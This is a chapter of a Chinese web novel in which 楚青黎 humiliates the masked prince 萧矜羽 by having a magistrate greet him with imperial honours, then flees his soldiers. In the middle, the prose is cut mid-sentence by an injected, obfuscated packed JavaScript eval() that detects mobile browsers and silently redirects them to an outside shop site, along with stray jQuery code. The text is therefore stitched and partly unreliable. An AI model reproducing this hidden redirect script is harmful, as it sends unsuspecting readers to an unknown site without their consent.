楚青黎:“......”
“啊啊啊啊啊啊啊啊啊!”她吓得抱头鼠窜,差点当场圆寂。
“嘿嘿嘿,你别......别跑......”
“鬼啊!!!!!!”
她尖叫着一脚踹倒他,然后四处乱窜。
小小的巷子角落响起一阵噼里啪啦的杂物翻倒声,还充斥着几乎快震破天际的鬼哭狼嚎。
“我......我不是......鬼......”
那大黑脸急忙追来,她吓得不小心碰倒了一旁的箩筐,一大堆垃圾往她身上倾倒了下来。
大黑脸见状竟然笑了:“嘿嘿......你......和我一样......”
她这时才看清,原来追着自己跑的是一个浑身脏乱的叫花子,好像还是个傻子,所以才控制不住两眼翻白。
她惊魂未定,摸了摸自己的头发,这才发现自己已经变得和他一样狼狈脏乱。
想到刚刚发出的动静,她急忙想离开。
然而这时,裘云的人也已经闻声赶到,刚一来就和两人撞个正着。
此处是个死胡同,唯一的出口已经被他堵住,她再想跑已经来不及了!
“嘿嘿......嘿......你们好......找我们......什么事......”
那领头目光死死地盯着他们。
楚青黎浑身的肌肉都绷紧了。
就在她打算杀出去的时候,他突然狐疑道:“刚刚发出叫声的就是你们?你们是什么关系?”
“她......是......我同伴......嘿嘿......一起......捡垃圾......吃......”
“哦,原来是两个脑子有问题的叫花子,难怪这么脏这么臭。”
说完他还一脸嫌弃地捂住了鼻子,像看垃圾似的看了他们一眼。
“走走走,赶紧走,别把咱们这身衣服给熏臭了!”
楚青黎:“???”
不知为何,她竟感觉自己被侮辱了。
眼见他们就要离开,她没忍住开口反驳道:“我不是!”
那人嗤笑出声:“只有傻子才会说自己不是傻子,”
她感到很愤怒。
“士可杀不可辱......我就是你们要找的人!连这都分不清,你以为自己很聪明?”
一旁的乞丐面露震惊地看了她一眼。
那人表情瞬间变了,“嘿!你这臭乞丐,不就说你是个傻子吗!本来就是,至于这么计较?去去去,别打扰爷办事!”
他们死活不相信要找的人就是她,竟直接带着人转身走了。
那乞丐转身看向她,朝我比了两个大拇指,傻笑道:“聪......聪明......”
然而楚青黎此刻脸色却黑如锅底。
浑身脏兮兮,臭烘烘的感觉实在太难受了,现在还被人嘲笑一番。
一想到这一切都是拜那所谓的“太子”所赐,她就恨不得把他千刀万剐!
那乞丐分不清局势,竟还将一张爬满蚂蚁的脏兮兮的饼子递到她面前,呲着个大黄牙傻笑道:“来......吃东西......嘿嘿......我们......一伙的......不能......让你......饿肚子......”
她气急败坏:“谁跟你一伙的!”
说完转身,深吸口气,平复了一下心情。
想到那戴着银制面具的男人,她冷笑一声:“‘太子’是吧,很好......很好。”
先是将其戏耍一番,而后又下令捉拿,害自己如此狼狈。她怎能不回敬一下?
她决定立刻报回来。
......
楚青黎入住了一家客栈,清洗完后,便找店家要了笔墨和信纸,将之前告知萧矜羽的那一半密本内容,悉数抄在了信纸上。
天色大亮后,她跟随人群混出了城,步行半日,很快便来到了附近的平县。
这是距离黎县最近的贪墨藏匿地。
她将太子令给城门处守卫看过,自称自己是奉太子之令而来,请他们立即将她引荐给当地县衙。
县令恭恭敬敬将她请了进来。
楚青黎将准备好的信交给了他,“这是殿下交给你的,里面记载着贪官藏匿私贿的各处地点,你须立刻上报中央。”
“你们平县的陈氏典当行,便是藏匿贪墨的其中一处,殿下要你立即带人查封,将银两上缴充公。”
那县令双手小心翼翼地捧过那封迷信,朝着她点头哈腰道:“大人,您还有别的话要带吗?”
“还有,”她脸上露出一个诡异的笑容,“明日殿下便要进城巡查,你要组织全城百姓于两道处欢呼庆贺,以最大声势、最高礼节迎接殿下进城。”
“下官明白。”
县令拱手,身为官场上的老狐狸,无需解释,他便心知肚明。
殿下一定是想借着来此地高调巡查同时,顺便笼络人心。
既然如此,他明日定会摆出最大阵势,恭敬相迎。
楚青黎谢绝了县令的招待,转身便告辞离去。
及至第二日。
萧矜羽乘着车轿来到平城,刚一下轿,就见城门大开,黄土铺道,街道洒水,一路皆设香案。
而那县令,此时正带着县衙所有官员候在城门处。
当他一眼见到那带着银制面具,身着显贵的贵公子时,便瞬间认出,这就是那少女昨日给他描述的太子扮相。
他立刻上前跪地,张开双臂,用最洪亮,最颤抖的声音高呼跪拜:“天家储君,临此敝邑!臣李淮奇何幸,瞻仰龙姿!臣于此率本县属官及全县百姓,恭迎太子殿下!殿下千岁千岁千千岁!”
“太子殿下千岁千千岁!”
霎时间,迎道官员与全程百姓全都跪伏于地,呼声几乎震破天际。
跟在萧矜羽身边的裘云等人见状,脸色立马大变!
“放肆!这等规格礼仪,是迎接天子的!你们怎可......”
萧矜羽抬手拦住了他,裘云立马扭过头焦急道:“公子......!”
萧矜羽神色冷冷。
那平县县令带着一众官员和全城百姓这么一跪,他打着太子的名号微服私访之事便彻底败露。
更何况,那县令对他行的还是最高君主才能享受的规格礼仪,这是极大的僭越,极易引起皇帝猜疑!
且此事已闹得全城百姓皆知,不到一天便会传遍整个朝廷。
他的麻烦来了。
而有可能做到这一切的,唯有一个人。
这时那县令刚刚三拜九叩完,还一脸谄媚道:“殿下,您昨日派人吩咐下官,让下官即刻将记载了贪官李乾余等人藏匿的贪墨处的那封信上报中央,下官已连夜派人用千里马去传信,不出三日便能到达京城。您吩咐查抄的平县贪墨银两处,下官也已悉数将其上报充归国库。”
萧矜羽:“......”
钱也没了,藏匿处也暴露了。
那县令说完后,甚至还嘿嘿一笑,压低声音道:“殿下,您看下官招待得可还妥当?”
“妥当,自然妥当,”萧矜羽冷笑,“最好再给孤抬个圣驾,备个龙袍,你李县令今日就在此废了当今大云皇帝,另拥明君,岂不更妥?”
李县令脸色顿时一白,双腿发软又跪了下去:“太......太子殿下......这可使不得呀......您......您可千万别跟下官开玩笑哪,哎哟......”
裘云一把剑“唰”地横在他脖颈前,“李县令,你胆子可真不小,既然知道逾制,又为何摆出这样大的阵势,是想让我们殿下被以谋逆之罪论处吗?!”
李县令吓得连连磕头求饶:“殿下饶命,殿下饶命!下官怎敢啊!下官也是见昨日那姑娘带着东宫令来,说传殿下之令,要安排最浩大的声势来迎接殿下......”
裘云眉眼一厉,持剑的手更为用力,吓得李县令脸色惨白。
“那女子叫什么名字,长什么样!”
李县令忙道:“她说她叫李弃,长得唇红齿白,诶就是挺好看的!哦对了还有,她自称是您的未婚妻,未来的太子妃!”
萧矜羽:“......”
裘云:“......”
他面露迟疑地瞧了萧矜羽一眼,却见萧矜羽竟并未面露愠色,反而笑了一声。
“未婚妻......”
他玩味地重复着这个称呼。
那楚家嫡女仅凭他和裘云的三两句对话,便猜测出他此次出行,本就是想将这些贪墨所得据为己有。
因此,只要大肆宣扬泄露他的行踪,自己就不得不处理应对这些麻烦,没法再分出人手去抓捕她。
原来她早已有了自己的把柄。
京城第一才子,的确不简单。
而导致这一切发生的罪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777874|209554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
魁祸首,此时竟就站在距离城门不远处的一栋建筑下,遥遥地望着他。
对着那双如寒星般冷冽的眸子,楚青黎朝他露出一个挑衅的笑容。
......
正在不远处长身而立的公子,不知为何竟如同有什么未知事物牵扯着一般,他忽而转眸看向那个少女刚待过的建筑处。
那里此时空无一人。
萧矜羽也笑了。
见主子境地已陷入这般危急地步,竟还笑得出来,裘云不由得焦急道:“殿下,贪墨藏匿地和您的身份都暴露了,计划全乱了,现在该怎么办?”
“你立刻派人,通知我们在藏匿地的人手,立刻端了那些藏匿处,能端多少端多少。并将派出去捉拿楚青黎之人召回。”
事情现在变得很棘手,可萧矜羽依然不慌不忙。
裘云似乎想到了什么,松了口气道:“还好,您已经从别的污吏那里拿到了那密本的副本。那楚青黎自作聪明,竟想昧下一半据为己有,想必她报给官府的也只有透露给您的那一半。”
萧矜羽神情似是愉悦,“她倒是个记仇的性子。这一半的银两,她拿不到,我也别想拿到。”
他如何不知楚青黎在骗他?不过是陪她演一场戏罢了。
毕竟,身为高位者,没有多少他看得上的玩物值得消遣。
裘云:“对了殿下,那楚青黎知晓太多,恐怕是个隐患,要不要派人杀了她?”
“我改变主意了。”他优雅一笑,“杀了她,那有什么意思?”
“她如今已经尝得权力滋味,食髓知味。”
一块不知真假的东宫令,一场他亲自下场捧高她的表演,便能让那少女迷恋上瘾。
......竟也让他有些上瘾。
萧矜羽不知心中是何滋味,只感觉胸口处有一种克制不住的渴望在不停蔓延,仿佛一道难以抑制的火焰在熊熊燃烧。
面具下那双少年般干净澄澈的眸子逐渐被疯狂的欲色侵染。
“她渴望权势,不如就让她一步步往上爬,即将到达顶端时,再让她跌落下来......”
让她失去一切。
随意将自己称为他人的未婚妻,是要付出代价的。
他扬起笑容,声音清冽,“到那时,她便是属于我的了。”
......
另一边。
楚青黎多留了个心眼。
本是打算昧下自己不曾交代出的另一半贪墨,但想到萧矜羽当时的态度,总觉得哪里有些不对。
她左思右想,还是打算谨慎些。
来到新县后,她买通了当地一个乞丐,跟对方换了身衣衫,让他扮作自己的模样,在夜里悄悄从徐府外的狗洞里爬进去。
结果人刚一进,四周忽然大亮。
随着一阵脚步声响起,整个府宅被官兵重重包围,水泄不通。
那乞丐一句话都没来得及说,就被堵住嘴巴绑起架走了。
果然。
那萧矜羽什么都知道。
楚青黎神情中的冷冽一闪而过,立刻扔下那乞丐转身离去。
一刻钟后,那乞丐带着一大帮官兵来到她刚待过的地方,瞪大眼睛:“她怎么不见了?”
“这就是你说的,花钱买通你的人藏匿的地点?那人呢?”带头官兵厉声问道。
那乞丐立刻哭爹喊娘:“我也不知道啊,她可能跑了吧,官爷爷求你们大人有大量,就放过小的吧,小的真的只是个乞丐啊!”
“哼,我看你就是不老实,给你带走!给他尝尝咱们狱卒的厉害,我就不信了,还撬不开你这张嘴!”
乞丐哭天抢地的同时,楚青黎也发现周围各地追兵竟都在追捕自己。
此刻她正狼狈地在山间四处奔逃。
原以为那人肯定疲于应对,不该再分出人手来抓她才是。
到底哪里出了问题?!
眼见周身的追兵越来越多,她无处可逃,转身便朝着山顶处绕了上去。
站在悬崖边上往下望去,云雾缭绕,深不见底。
嗯,很好。
她用力将旁边的一块大石搬到崖边,深吸口气,随后发出一声震破天际的尖叫声!
大石被她猛地推下山崖,发出“砰”的巨大声响!
那些追兵听到尖叫声,纷纷朝着山顶处冲了上来。
而后她咬咬牙,抓起一根悬崖边上的垂下的粗壮藤蔓,直接朝着悬崖处跳了下去!